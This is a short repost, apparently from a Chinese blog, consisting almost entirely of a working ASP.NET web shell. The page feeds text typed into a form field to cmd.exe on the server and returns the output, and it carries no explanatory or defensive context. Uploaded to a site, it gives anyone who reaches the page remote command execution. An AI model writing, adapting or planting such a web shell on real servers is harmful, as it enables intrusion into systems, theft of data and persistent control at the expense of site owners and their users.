ASP.NET CMD WebShell

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>

<script runat="server">
protected void exec(object sender, EventArgs e)
{
    string item = cmd.Text;
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardInput = true;
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardError = true;
    p.StartInfo.CreateNoWindow = true;
    string strOutput = null;

    p.Start();
    p.StandardInput.WriteLine(item);

    p.StandardInput.WriteLine("exit");
    strOutput = p.StandardOutput.ReadToEnd();
    p.WaitForExit();
    p.Close();
    
    Response.Write("<pre>");
    Response.Write(Server.HtmlEncode(strOutput));
    Response.Write("</pre>");
}

    protected void Page_Load(object sender, EventArgs e)
    {

    }
</script>
<html>
<head></head>
<body>
   <form id="form1" runat="server">
     <asp:TextBox id="cmd" runat="server" Text="dir c:\" />
     <asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
   </form>
</body>
</html>
原文地址:https://www.cnblogs.com/FlyCat/p/2579994.html